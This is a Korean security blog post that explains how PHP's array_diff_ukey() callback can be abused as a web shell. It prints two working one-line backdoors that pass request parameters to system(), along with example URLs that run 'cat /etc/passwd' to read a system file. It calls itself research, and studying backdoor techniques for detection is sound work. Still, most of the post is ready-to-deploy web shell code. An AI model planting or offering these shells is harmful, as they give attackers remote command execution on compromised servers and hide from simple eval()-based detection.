KOROMOON

착한 사마리아인이 되고 싶습니다.

7/14/2020

array_diff_ukey() 함수를 이용한 PHP WebShell


※ 주의사항 : 
악용하지 마세요!!!
해당 글은 연구 목적으로 기재하였습니다.
악의적인 목적으로 이용할 시 발생할 수 있는 법적 책임은 자신에게 있습니다.



( 1 ) array_diff_ukey() 함수


키를 기준으로 콜백 함수를 이용하여 배열의 차이를 계산하는 함수임.

기본 형식은 아래와 같으며 반환 값은 다른 인자에서 존재하지 않는 array1 의 모든 값들을 포함하는 배열을 반환함.


array array_diff_ukey ( array $array1 , array $array2 [, array $... ], callable $key_compare_func )

$array1

비교 원래 배열

$array2

비교하는 대상인 배열

$...

더 비교하는 대상인 배열

$key_compare_func

비교 함수는 첫 번째 인수로 두 번째 인수의 비교 결과를 되돌려줌.



( 2 ) array_diff_ukey() 함수를 이용한 PHP WebShell



<?php
@array_diff_ukey(@array((string)$_REQUEST['password']=>1),
@array((string)stripslashes($_REQUEST['re_password'])=>2),
$_REQUEST['login']);
?>
< URI 에 3 개의 파라미터가 필요한 PHP WebShell 코드 >

URL 입력 : hxxp://사이트 주소/webshell.php?password=cat /etc/passwd&re_password=&login=system
< 실행한 화면 >

여기서 stripslashes () 함수는 백슬래쉬를 제거하는 함수임.

비교 함수 변수 "login" 에 공격자가 제어할 콜백 함수를 설정하여 공격자가 원하는 코드를 URI 에 입력하여 출력하는 PHP WebShell 로써 실습한 URI 를 보면 password 파라미터에 원하는 시스템 명령어를 설정하고 login 파라미터에는 명령어를 실행 가능한 함수 system() 함수를 입력하여 해당 시스템 명령어를 실행시킴.


<?php
@array_diff_ukey(@array($_REQUEST['koromoon']=>1), @array(''=>2),'system');
?>
< URI 에 1 개의 파라미터가 필요한 PHP WebShell 코드 >

URL 입력 : hxxp://사이트 주소/webshell2.php?koromoon=cat /etc/passwd
< 실행한 화면 >

위 첫 번째 코드는 파라미터 3개가 필요하지만 두 번째 코드는 파라미터 하나(필자가 정의한 koromoon 변수)에 원하는 시스템 명령어를 입력하고 코드상 미리 정의된 system () 함수를 통해 해당 시스템 명령어를 실행시킴.

일종의 eval() 함수를 대신할 One Line WebShell 코드임. (ex. @eval($_REQUEST['e']);) 



참고 사이트 : 

https://www.php.net/manual/en/function.array-diff-ukey.php

https://www.phpwelt.net/handbuecher/korean/function.array-diff.html
https://blog.sucuri.net/2014/04/php-callback-functions-another-way-to-hide-backdoors.html
https://sekurak.pl/backdoory-w-aplikacjach-php/
https://blog.sucuri.net/2014/04/joomla-plugin-constructor-backdoor.html



============================================================

본 게시물은 KOROMOON 님께서 작성하였으며 CCL (Creative Commons License) 에서 "저작자표시-비영리-동일조건변경허락" 이용조건으로 자료를 이용하셔야 합니다.

댓글 없음:

댓글 쓰기